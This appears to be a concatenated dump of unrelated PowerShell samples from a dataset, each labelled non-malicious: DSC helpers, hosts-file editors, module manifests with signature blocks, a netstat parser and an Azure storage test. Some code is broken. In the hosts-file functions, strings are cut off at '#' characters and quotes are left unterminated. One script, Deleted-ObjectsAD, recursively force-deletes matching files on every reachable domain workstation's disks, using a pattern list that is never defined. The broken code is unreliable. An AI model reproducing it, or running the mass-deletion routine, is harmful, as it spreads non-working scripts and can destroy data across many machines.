DesiredValues This is a PSBoundParametersDictionary of the desired values for the resource. .PARAMETER ValuesToCheck This is a list of which properties in the desired values list should be checked. If this is empty then all values in DesiredValues are checked. #> function Test-DscParameterState { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $CurrentValues, [Parameter(Mandatory = $true)] [System.Object] $DesiredValues, [Parameter()] [System.Array] $ValuesToCheck ) $returnValue = $true if (($DesiredValues.GetType().Name -ne 'HashTable') ` -and ($DesiredValues.GetType().Name -ne 'CimInstance') ` -and ($DesiredValues.GetType().Name -ne 'PSBoundParametersDictionary')) { $errorMessage = $script:localizedData.PropertyTypeInvalidForDesiredValues -f $($DesiredValues.GetType().Name) New-InvalidArgumentException -ArgumentName 'DesiredValues' -Message $errorMessage } if (($DesiredValues.GetType().Name -eq 'CimInstance') -and ($null -eq $ValuesToCheck)) { $errorMessage = $script:localizedData.PropertyTypeInvalidForValuesToCheck New-InvalidArgumentException -ArgumentName 'ValuesToCheck' -Message $errorMessage } if (($null -eq $ValuesToCheck) -or ($ValuesToCheck.Count -lt 1)) { $keyList = $DesiredValues.Keys } else { $keyList = $ValuesToCheck } $keyList | ForEach-Object -Process { if (($_ -ne 'Verbose')) { if (($CurrentValues.ContainsKey($_) -eq $false) ` -or ($CurrentValues.$_ -ne $DesiredValues.$_) ` -or (($DesiredValues.GetType().Name -ne 'CimInstance' -and $DesiredValues.ContainsKey($_) -eq $true) -and ($null -ne $DesiredValues.$_ -and $DesiredValues.$_.GetType().IsArray))) { if ($DesiredValues.GetType().Name -eq 'HashTable' -or ` $DesiredValues.GetType().Name -eq 'PSBoundParametersDictionary') { $checkDesiredValue = $DesiredValues.ContainsKey($_) } else { # If DesiredValue is a CimInstance. $checkDesiredValue = $false if (([System.Boolean]($DesiredValues.PSObject.Properties.Name -contains $_)) -eq $true) { if ($null -ne $DesiredValues.$_) { $checkDesiredValue = $true } } } if ($checkDesiredValue) { $desiredType = $DesiredValues.$_.GetType() $fieldName = $_ if ($desiredType.IsArray -eq $true) { if (($CurrentValues.ContainsKey($fieldName) -eq $false) ` -or ($null -eq $CurrentValues.$fieldName)) { Write-Verbose -Message ($script:localizedData.PropertyValidationError -f $fieldName) -Verbose $returnValue = $false } else { $arrayCompare = Compare-Object -ReferenceObject $CurrentValues.$fieldName ` -DifferenceObject $DesiredValues.$fieldName if ($null -ne $arrayCompare) { Write-Verbose -Message ($script:localizedData.PropertiesDoesNotMatch -f $fieldName) -Verbose $arrayCompare | ForEach-Object -Process { Write-Verbose -Message ($script:localizedData.PropertyThatDoesNotMatch -f $_.InputObject, $_.SideIndicator) -Verbose } $returnValue = $false } } } else { switch ($desiredType.Name) { 'String' { if (-not [System.String]::IsNullOrEmpty($CurrentValues.$fieldName) -or ` -not [System.String]::IsNullOrEmpty($DesiredValues.$fieldName)) { Write-Verbose -Message ($script:localizedData.ValueOfTypeDoesNotMatch ` -f $desiredType.Name, $fieldName, $($CurrentValues.$fieldName), $($DesiredValues.$fieldName)) -Verbose $returnValue = $false } } 'Int32' { if (-not ($DesiredValues.$fieldName -eq 0) -or ` -not ($null -eq $CurrentValues.$fieldName)) { Write-Verbose -Message ($script:localizedData.ValueOfTypeDoesNotMatch ` -f $desiredType.Name, $fieldName, $($CurrentValues.$fieldName), $($DesiredValues.$fieldName)) -Verbose $returnValue = $false } } { $_ -eq 'Int16' -or $_ -eq 'UInt16'} { if (-not ($DesiredValues.$fieldName -eq 0) -or ` -not ($null -eq $CurrentValues.$fieldName)) { Write-Verbose -Message ($script:localizedData.ValueOfTypeDoesNotMatch ` -f $desiredType.Name, $fieldName, $($CurrentValues.$fieldName), $($DesiredValues.$fieldName)) -Verbose $returnValue = $false } } default { Write-Warning -Message ($script:localizedData.UnableToCompareProperty ` -f $fieldName, $desiredType.Name) $returnValue = $false } } } } } } } return $returnValue } # SIG # Begin signature block # MIIoOQYJKoZIhvcNAQcCoIIoKjCCKCYCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCBH3QB1YDOZOOwJ # V+KQVBF6PeRCZ7EOOlwmL67tD15ypKCCDYUwggYDMIID66ADAgECAhMzAAADri01 # UchTj1UdAAAAAAOuMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEw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JKoZIhvcNAQELBQAEggIAQT8N # ArH7wmywCStVXp35oaAQXEECwZ5YWrUM0cYp5rpQLprINN1DA4EmHfApKt/CyfuH # x+q4vlEdod7hCgcAMESRaDhRAkqTjT4qZ7UVwgQnogb4K4hsX8zMbQHCUoRjN9o+ # 68ZTxInwErijjshHMLxnfsRS2WrSiLj1wIVSyL6VcOkJ+UbLazxXItFT+MZ61S2X # uWaNrYxhaSVWciy+rJFiDDtyx6PLRZSHvEchoHGgNGs9Zw6garFD7t5KW3lY8jPK # GReaPqrK5f4uxuM6F8UxRQQaJsUgM7BquGDWw41uQdA0qCKE5+0BKpTFLRctTNDI # y8H+vMQqMPqsRdvoi0mWGz6hl8L4LXUonN7CupehH29FkEwsel4WOAKi/qvBDq3N # i5giJLPMLFKagB+qFH8FNqWj053oi0kjwGMxWymTwmspyPEvvmGiCDA+tcD71n5Q # 5Ie/MAJ+PrrKl7SyyLqghRt3luXrrjCbswhtBcxvzIAdOkHTSBhTYAqXiW1+eQ8c # ej0VnP1ABXve6e5uupLmuCdXGiRhlaox7JO/pey1gQX1fhIX4CQdagiQ77+EPrhq # lMXqNjyAq6HbFKcLHVzcBuxFGIHbYM29uulckY+BQyy33l5nKqQZ2oo9TppZrpdN # xoKuN/JkNPACJFRx918xr95oZr7lMqOiiXpqCz0= # SIG # End signature block
combined_dataset/train/non-malicious/2703.ps1
2703.ps1
function Get-HostsFile { Param ( [ValidateScript({Test-Path $_})] [String] $Path = (Join-Path $Env:SystemRoot 'System32\drivers\etc\hosts'), [Switch] $Show ) $Hosts = Get-Content $Path -ErrorAction Stop $CommentLine = '^\s* $HostLine = '^\s*(?<IPAddress>\S+)\s+(?<Hostname>\S+)(\s*|\s+ $TestIP = [Net.IPAddress] '127.0.0.1' $LineNum = 0 for ($i = 0; $i -le $Hosts.Length; $i++) { if (!($Hosts[$i] -match $CommentLine) -and ($Hosts[$i] -match $HostLine)) { $IpAddress = $Matches['IPAddress'] $Comment = '' if ($Matches['Comment']) { $Comment = $Matches['Comment'] } $Result = New-Object PSObject -Property @{ LineNumber = $LineNum IPAddress = $IpAddress IsValidIP = [Net.IPAddress]::TryParse($IPAddress, [Ref] $TestIP) Hostname = $Matches['Hostname'] Comment = $Comment.Trim(' ') } $Result.PSObject.TypeNames.Insert(0, 'Hosts.Entry') Write-Output $Result } $LineNum++ } if ($Show) { notepad $Path } } function New-HostsFileEntry { [CmdletBinding()] Param ( [Parameter(Mandatory = $True, Position = 0)] [Net.IpAddress] $IPAddress, [Parameter(Mandatory = $True, Position = 1)] [ValidateNotNullOrEmpty()] [String] $Hostname, [Parameter(Position = 2)] [ValidateNotNull()] [String] $Comment, [ValidateScript({Test-Path $_})] [String] $Path = (Join-Path $Env:SystemRoot 'System32\drivers\etc\hosts'), [Switch] $PassThru, [Switch] $Show ) $HostsRaw = Get-Content $Path $Hosts = Get-HostsFile -Path $Path $HostEntry = "$IpAddress $Hostname" if ($Comment) { $HostEntry += " } $HostEntryReplaced = $False for ($i = 0; $i -lt $Hosts.Length; $i++) { if ($Hosts[$i].Hostname -eq $Hostname) { if ($Hosts[$i].IpAddress -eq $IPAddress) { Write-Verbose "Hostname '$Hostname' and IP address '$IPAddress' already exist in $Path." } else { Write-Verbose "Replacing hostname '$Hostname' in $Path." $HostsRaw[$Hosts[$i].LineNumber] = $HostEntry } $HostEntryReplaced = $True } } if (!$HostEntryReplaced) { Write-Verbose "Appending hostname '$Hostname' and IP address '$IPAddress' to $Path." $HostsRaw += $HostEntry } $HostsRaw | Out-File -Encoding ascii -FilePath $Path -ErrorAction Stop if ($PassThru) { Get-HostsFile -Path $Path } if ($Show) { notepad $Path } } function Remove-HostsFileEntry { Param ( [Parameter(Mandatory = $True, ParameterSetName = 'IPAddress')] [Net.IpAddress] $IPAddress, [Parameter(Mandatory = $True, ParameterSetName = 'Hostname')] [ValidateNotNullOrEmpty()] [String] $Hostname, [ValidateScript({ Test-Path $_ })] [String] $Path = (Join-Path $Env:SystemRoot 'System32\drivers\etc\hosts'), [Switch] $PassThru, [Switch] $Show, [Parameter(ParameterSetName = 'PSObjectArray', ValueFromPipeline = $True)] [PSObject[]] $HostsEntry ) BEGIN { $HostsRaw = Get-Content $Path if ($IPAddress -or $Hostname) { $HostsEntry = Get-HostsFile -Path $Path } $ExcludedLineNumbers = @() $StringBuilder = New-Object Text.StringBuilder } PROCESS { foreach ($Entry in $HostsEntry) { if ($Entry.PSObject.TypeNames[0] -eq 'Hosts.Entry') { if ($IPAddress) { if ($Entry.IPAddress -eq $IPAddress) { Write-Verbose "Removing line $ExcludedLineNumbers += $Entry.LineNumber } } elseif ($Hostname) { if ($Entry.Hostname -eq $Hostname) { Write-Verbose "Removing line $ExcludedLineNumbers += $Entry.LineNumber } } else { Write-Verbose "Removing line $ExcludedLineNumbers += $Entry.LineNumber } } } } END { for ($i = 0; $i -lt $HostsRaw.Length; $i++) { if (!$ExcludedLineNumbers.Contains($i)) { $null = $StringBuilder.AppendLine($HostsRaw[$i]) } } $StringBuilder.ToString() | Out-File $Path if ($PassThru) { Get-HostsFile -Path $Path } if ($Show) { notepad $Path } } }
combined_dataset/train/non-malicious/sample_15_60.ps1
sample_15_60.ps1
@{ GUID="56D66100-99A0-4FFC-A12D-EEE9A6718AEF" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" FunctionsToExport = @() CmdletsToExport="Start-Transcript", "Stop-Transcript" AliasesToExport = @() NestedModules="Microsoft.PowerShell.ConsoleHost.dll" HelpInfoURI = 'https://aka.ms/powershell73-help' } # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAafI9Gy/Jba/h5 # P4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QlMIGYMIGApH4wfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldh # c2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBD # b3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIw # MTACEzMAAAHpD3Ewfl3xEjYAAQAAAekwIgQgKArVfaP6OWei0A+8Fuujap99cwEH # qepsaQlxc+GSEY4wDQYJKoZIhvcNAQELBQAEggIADLcjN0Vd7jCtYL3GtHiafUh2 # m5Z/mRT0bsTzKO1UgIKr4Mf97o63aAI0Jumk4ZQKo4KzYJ/+YsJevuoaY0SOSqi1 # fWHFsD27oo4ZlM4pQgLZzGWLiIsDFntFIcZgqozpa4V7vd/2aSjP0geXSFCXkpuX # OX+Wl/Eb2U7afyfIQvolYxcYlYmeFDSqKCffm9oJV9HJQVNj8ApjmotzVFCvzFkA # 1EoE1fPfzg8906KCEftJoDgJBlgrGrY2odW1GcAj1qiwH7F35pHP9hRJajq3lL1T # OMNnEAODP8UO5AZCWQ37IOPX9ERBDYrF53IH6tty+dKaVrYB1KYG7X4oNndOmWCg # eAKFzg2QDOS3yBtI3fY4FSIB2HSffwGF7pXHce9gDWa4qEel/I+BJByY7OPd/S5M # bK+J3qlTqCB3UfyT4fG61NgvbtL5vJQke0dDniknv6dT+fGcnjk9b7DIR6H3Y944 # tDj3t9HqVGCG2ABQCEsCyBDOG5LcSgRh4yEcnobOMjVyqLperqRLa1c6TpfKP0+2 # +YEH/BqECrICFLCyFxR2clVUn4mWO2QUPMQSiNkj9CQmfN+fApQmE2GLAP5cjAbK # +0rzNcrSltqcpiSmqJuyhbSZwBJM5/dIVcUhQll5zL/6FkCGRgFSRbjWNb/cRkEc # 02F9rNgdqjBYOZOT3JY= # SIG # End signature block
combined_dataset/train/non-malicious/Deleted-ObjectsAD.ps1
Deleted-ObjectsAD.ps1
param( $Domen ) function Ping ($Name){ $ping = new-object System.Net.NetworkInformation.Ping if ($ping.send($Name).Status -eq "Success") {$True} else {$False} trap {Write-Verbose "Error Ping"; $False; continue} } [string[]]$ObjectPath [string[]]$Disks [string[]]$Info [string[]]$Computers $Computers = Get-QADComputer -Service $Domen -OSName '*XP*','*Vista*','*7*' -SizeLimit 0 -ErrorAction SilentlyContinue | Select-Object name -ExpandProperty name foreach ($Computer in $Computers){ $Alive = Ping $Computer if ($Alive -eq "True"){ Write-Host "Seach $Computer" -BackgroundColor Blue trap {Write-Host "Error WmiObject $Computer";Continue} $Disks += Get-WmiObject win32_logicaldisk -ComputerName $Computer -ErrorAction SilentlyContinue | Where-Object {$_.Size -ne $null} if ($Disks){ foreach ($Disk in $Disks){ if ($Disk.Name -like "*:*") { $Disk = $Disk.Name.Replace(":","$") } trap {Write-Host "Error ChildItem $Computer";Continue} $ObjectPath += Get-ChildItem "\\\\$Computer\\$Disk\\*" -Recurse -ErrorAction SilentlyContinue if ($ObjectPath){ foreach ($Object in $ObjectsDeleted){ $ObjectPath | Where-Object {$_.Name -like $Object} | % { $Path = $_.FullName; Remove-Item $_.FullName -Recurse -Force -ErrorAction SilentlyContinue; $Info += "" | Select-Object @{e={$Path};n='Path'},` @{e={"Delete"};n='Action'} } } } } } } } $Info | Format-Table -AutoSize -ErrorAction SilentlyContinue
combined_dataset/train/non-malicious/Get-Netstat 1,2.ps1
Get-Netstat 1,2.ps1
$null, $null, $null, $null, $netstat = netstat -a -n -o $ps = Get-Process [regex]$regexTCP = '(?<Protocol>\\S+)\\s+((?<LAddress>(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?))|(?<LAddress>\\[?[0-9a-fA-f]{0,4}(\\:([0-9a-fA-f]{0,4})){1,7}\\%?\\d?\\]))\\:(?<Lport>\\d+)\\s+((?<Raddress>(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?))|(?<RAddress>\\[?[0-9a-fA-f]{0,4}(\\:([0-9a-fA-f]{0,4})){1,7}\\%?\\d?\\]))\\:(?<RPort>\\d+)\\s+(?<State>\\w+)\\s+(?<PID>\\d+$)' [regex]$regexUDP = '(?<Protocol>\\S+)\\s+((?<LAddress>(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.(2[0-4]\\d|25[0-5]|[01]?\\d\\d?))|(?<LAddress>\\[?[0-9a-fA-f]{0,4}(\\:([0-9a-fA-f]{0,4})){1,7}\\%?\\d?\\]))\\:(?<Lport>\\d+)\\s+(?<RAddress>\\*)\\:(?<RPort>\\*)\\s+(?<PID>\\d+)' [psobject]$process = "" | Select-Object Protocol, LocalAddress, Localport, RemoteAddress, Remoteport, State, PID, ProcessName foreach ($net in $netstat) { switch -regex ($net.Trim()) { $regexTCP { $process.Protocol = $matches.Protocol $process.LocalAddress = $matches.LAddress $process.Localport = $matches.LPort $process.RemoteAddress = $matches.RAddress $process.Remoteport = $matches.RPort $process.State = $matches.State $process.PID = $matches.PID $process.ProcessName = ( $ps | Where-Object {$_.Id -eq $matches.PID} ).ProcessName } $regexUDP { $process.Protocol = $matches.Protocol $process.LocalAddress = $matches.LAddress $process.Localport = $matches.LPort $process.RemoteAddress = $matches.RAddress $process.Remoteport = $matches.RPort $process.State = $matches.State $process.PID = $matches.PID $process.ProcessName = ( $ps | ? {$_.Id -eq $matches.PID} ).ProcessName } } $process }
combined_dataset/train/non-malicious/sample_25_89.ps1
sample_25_89.ps1
# # Module manifest for module 'Microsoft.SME.GPU' # @{ # Script module or binary module file associated with this manifest. RootModule = 'Microsoft.SME.GPU.psm1' # Version number of this module. ModuleVersion = '2.24.0' # Supported PSEditions # CompatiblePSEditions = @() # ID used to uniquely identify this module GUID = 'dee54b11-7383-4f9e-8ea6-7b2b07c53ce2' # Author of this module Author = 'SME' # Company or vendor of this module CompanyName = 'Microsoft' # Copyright statement for this module Copyright = '(c) 2018 Microsoft. All rights reserved.' # Description of the functionality provided by this module # Description = '' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '5.0' # Name of the Windows PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the Windows PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # CLRVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module # RequiredModules = @() # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @( 'Add-WACGPUGPUPartitionToVM', 'Add-WACGPUGPUtoVM', 'Disable-WACGPUGPU', 'Dismount-WACGPUGPU', 'Enable-WACGPUGPU', 'Find-WACGPUGPUDeviceDriver', 'Get-WACGPUCimClassPnpEntity', 'Get-WACGPUClusterHostInfo', 'Get-WACGPUClusterNodeState', 'Get-WACGPUGPUDeviceDriverInformation', 'Get-WACGPUGPUPnpDevice', 'Get-WACGPUGPUResourcePool', 'Get-WACGPUHyperVFeature', 'Get-WACGPUPartitionsInfo', 'Get-WACGPUVirtualMachine', 'Get-WACGPUVirtualMachinesFromBritannica', 'Install-WACGPUGPUDeviceDriver', 'Mount-WACGPUGPU', 'New-WACGPUGPUResourcePool', 'Remove-WACGPUGPUPartitionFromVM', 'Remove-WACGPUGPUResourcePool', 'Remove-WACGPUGPUfromVM', 'Remove-WACGPUVMFromGPUPool', 'Set-WACGPUGPUsPartitionCount', 'Update-WACGPUDeviceDriver', 'Update-WACGPUGPUResourcePool', 'Add-WACGPUFolderShare', 'Add-WACGPUFolderShareNameUser', 'Add-WACGPUFolderShareUser', 'Compress-WACGPUArchiveFileSystemEntity', 'Disable-WACGPUKdcProxy', 'Disable-WACGPUSmbOverQuic', 'Edit-WACGPUFolderShareInheritanceFlag', 'Edit-WACGPUFolderShareUser', 'Edit-WACGPUSmbFileShare', 'Edit-WACGPUSmbServerCertificateMapping', 'Enable-WACGPUSmbOverQuic', 'Expand-WACGPUArchiveFileSystemEntity', 'Get-WACGPUBestHostNode', 'Get-WACGPUCertificates', 'Get-WACGPUCimWin32LogicalDisk', 'Get-WACGPUCimWin32NetworkAdapter', 'Get-WACGPUCimWin32PhysicalMemory', 'Get-WACGPUCimWin32Processor', 'Get-WACGPUClusterInventory', 'Get-WACGPUClusterNodes', 'Get-WACGPUComputerName', 'Get-WACGPUDecryptedDataFromNode', 'Get-WACGPUEncryptionJWKOnNode', 'Get-WACGPUFileNamesInPath', 'Get-WACGPUFileSystemEntities', 'Get-WACGPUFileSystemRoot', 'Get-WACGPUFolderItemCount', 'Get-WACGPUFolderOwner', 'Get-WACGPUFolderShareNames', 'Get-WACGPUFolderSharePath', 'Get-WACGPUFolderShareStatus', 'Get-WACGPUFolderShareUsers', 'Get-WACGPUIsAzureTurbineServer', 'Get-WACGPUItemProperties', 'Get-WACGPUItemType', 'Get-WACGPULocalGroups', 'Get-WACGPULocalUsers', 'Get-WACGPUOSVersion', 'Get-WACGPUServerInventory', 'Get-WACGPUShareEntities', 'Get-WACGPUSmb1InstallationStatus', 'Get-WACGPUSmbFileShareDetails', 'Get-WACGPUSmbOverQuicSettings', 'Get-WACGPUSmbServerCertificateHealth', 'Get-WACGPUSmbServerCertificateMapping', 'Get-WACGPUSmbServerCertificateValues', 'Get-WACGPUSmbServerSettings', 'Get-WACGPUSmbShareAccess', 'Get-WACGPUStorageFileShare', 'Get-WACGPUTempFolderPath', 'Move-WACGPUFile', 'New-WACGPUFile', 'New-WACGPUFolder', 'New-WACGPUSmbFileShare', 'Remove-WACGPUAllShareNames', 'Remove-WACGPUFileSystemEntity', 'Remove-WACGPUFolderShareUser', 'Remove-WACGPUSmbServerCertificateMapping', 'Remove-WACGPUSmbShare', 'Rename-WACGPUFileSystemEntity', 'Restore-WACGPUConfigureSmbServerCertificateMapping', 'Set-WACGPUSmbOverQuicServerSettings', 'Set-WACGPUSmbServerCertificateMapping', 'Set-WACGPUSmbServerSettings', 'Test-WACGPUFileSystemEntity', 'Uninstall-WACGPUSmb1' ) # Function attributes: {"localScripts":["Add-WACGPUGPUPartitionToVM","Add-WACGPUGPUtoVM","Disable-WACGPUGPU","Dismount-WACGPUGPU","Enable-WACGPUGPU","Find-WACGPUGPUDeviceDriver","Get-WACGPUCimClassPnpEntity","Get-WACGPUClusterHostInfo","Get-WACGPUClusterNodeState","Get-WACGPUGPUDeviceDriverInformation","Get-WACGPUGPUPnpDevice","Get-WACGPUGPUResourcePool","Get-WACGPUHyperVFeature","Get-WACGPUPartitionsInfo","Get-WACGPUVirtualMachine","Get-WACGPUVirtualMachinesFromBritannica","Install-WACGPUGPUDeviceDriver","Mount-WACGPUGPU","New-WACGPUGPUResourcePool","Remove-WACGPUGPUPartitionFromVM","Remove-WACGPUGPUResourcePool","Remove-WACGPUGPUfromVM","Remove-WACGPUVMFromGPUPool","Set-WACGPUGPUsPartitionCount","Update-WACGPUDeviceDriver","Update-WACGPUGPUResourcePool"],"externalScripts":["Add-WACGPUFolderShare","Add-WACGPUFolderShareNameUser","Add-WACGPUFolderShareUser","Compress-WACGPUArchiveFileSystemEntity","Disable-WACGPUKdcProxy","Disable-WACGPUSmbOverQuic","Edit-WACGPUFolderShareInheritanceFlag","Edit-WACGPUFolderShareUser","Edit-WACGPUSmbFileShare","Edit-WACGPUSmbServerCertificateMapping","Enable-WACGPUSmbOverQuic","Expand-WACGPUArchiveFileSystemEntity","Get-WACGPUBestHostNode","Get-WACGPUCertificates","Get-WACGPUCimWin32LogicalDisk","Get-WACGPUCimWin32NetworkAdapter","Get-WACGPUCimWin32PhysicalMemory","Get-WACGPUCimWin32Processor","Get-WACGPUClusterInventory","Get-WACGPUClusterNodes","Get-WACGPUComputerName","Get-WACGPUDecryptedDataFromNode","Get-WACGPUEncryptionJWKOnNode","Get-WACGPUFileNamesInPath","Get-WACGPUFileSystemEntities","Get-WACGPUFileSystemRoot","Get-WACGPUFolderItemCount","Get-WACGPUFolderOwner","Get-WACGPUFolderShareNames","Get-WACGPUFolderSharePath","Get-WACGPUFolderShareStatus","Get-WACGPUFolderShareUsers","Get-WACGPUIsAzureTurbineServer","Get-WACGPUItemProperties","Get-WACGPUItemType","Get-WACGPULocalGroups","Get-WACGPULocalUsers","Get-WACGPUOSVersion","Get-WACGPUServerInventory","Get-WACGPUShareEntities","Get-WACGPUSmb1InstallationStatus","Get-WACGPUSmbFileShareDetails","Get-WACGPUSmbOverQuicSettings","Get-WACGPUSmbServerCertificateHealth","Get-WACGPUSmbServerCertificateMapping","Get-WACGPUSmbServerCertificateValues","Get-WACGPUSmbServerSettings","Get-WACGPUSmbShareAccess","Get-WACGPUStorageFileShare","Get-WACGPUTempFolderPath","Move-WACGPUFile","New-WACGPUFile","New-WACGPUFolder","New-WACGPUSmbFileShare","Remove-WACGPUAllShareNames","Remove-WACGPUFileSystemEntity","Remove-WACGPUFolderShareUser","Remove-WACGPUSmbServerCertificateMapping","Remove-WACGPUSmbShare","Rename-WACGPUFileSystemEntity","Restore-WACGPUConfigureSmbServerCertificateMapping","Set-WACGPUSmbOverQuicServerSettings","Set-WACGPUSmbServerCertificateMapping","Set-WACGPUSmbServerSettings","Test-WACGPUFileSystemEntity","Uninstall-WACGPUSmb1"]} # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @() # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. # Tags = @() # A URL to the license for this module. # LicenseUri = '' # A URL to the main website for this project. # ProjectUri = '' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module # ReleaseNotes = '' } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' } # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCC8Z+pxshQ8K2Za # WHY1PHIvfV7iod2Us3BmuM39YbhT76CCDXYwggX0MIID3KADAgECAhMzAAADTrU8 # esGEb+srAAAAAANOMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMwMzE2MTg0MzI5WhcNMjQwMzE0MTg0MzI5WjB0MQsw # CQYDVQQGEwJVUzET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SVjQKMIDL6FXd5ogmj/Mbp7fddUD8/Op2/1IC # UDcnYeGXLeWjYVxQJH+LzsFtrh1rlMHinG9vUIYfndjo2hdLC4EwReM4ZOrt+ni0 # 2GyIpuLexLc1/oG1jF2CcnRDt2mDdxmK9Vbx8JXibhFIweAhmO+7GV/0mmF0fuF+ # 4OI0eXDqj7N/OqLSPklHM0xoHh//jPe3zfjj06pHAOKl1ntSKezHFbfvt76a7uXU # dxMqThdy8eVlgUc7lJJOhK75/qxYXy8sHpE8EKw5b021GsnEi4R+WrT7KiDYPXlU # lR3k0rR0XR0OJ4I/yWLtNJ2JgXzBIZzh0ckxAjeQb/AZHuR5Z3guLoYfCWT3UD1X # VbuN84bY/ibr7BkpMKZtMpNugYMfbqNACwfzoI/TGP3otnanvEdQuyOhdqtefDjC # X+RC+2cjKKtU2ivPThmy1qOJwIeT6ikXICokBq7p51En8OHqtRE4TEIXhfvmVoX/ # U1eWv3+PytJS+w3V8tw+eEUflEDkBtqsABSt5YhdZncObLyD79sWvW7L9P0kPwbh # v3EDviGdjyvuUMMHCJI39i3MJ9LUX6FmLcPfAjaRNtI4BfGZ+s9n1C9x6xJB5hFE # ahbuILDSRsWW9T42ix8= # SIG # End signature block
combined_dataset/train/non-malicious/3853.ps1
3853.ps1
function Test-StorageBlobContainer { $rgname = Get-StorageManagementTestResourceName; try { $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'StorageV2' $containerName = "container"+ $rgname Write-Verbose "RGName: $rgname | Loc: $loc" New-AzResourceGroup -Name $rgname -Location $loc; New-AzStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind $stos = Get-AzStorageAccount -ResourceGroupName $rgname; New-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $rgname $container.ResourceGroupName Assert-AreEqual $stoname $container.StorageAccountName Assert-AreEqual $containerName $container.Name Assert-AreEqual $false $container.HasLegalHold Assert-AreEqual $false $container.HasImmutabilityPolicy Assert-AreEqual none $container.PublicAccess $publicAccess = 'blob' $metadata = @{tag0="value0"} Update-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName -PublicAccess $publicAccess -Metadata $metadata $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $rgname $container.ResourceGroupName Assert-AreEqual $stoname $container.StorageAccountName 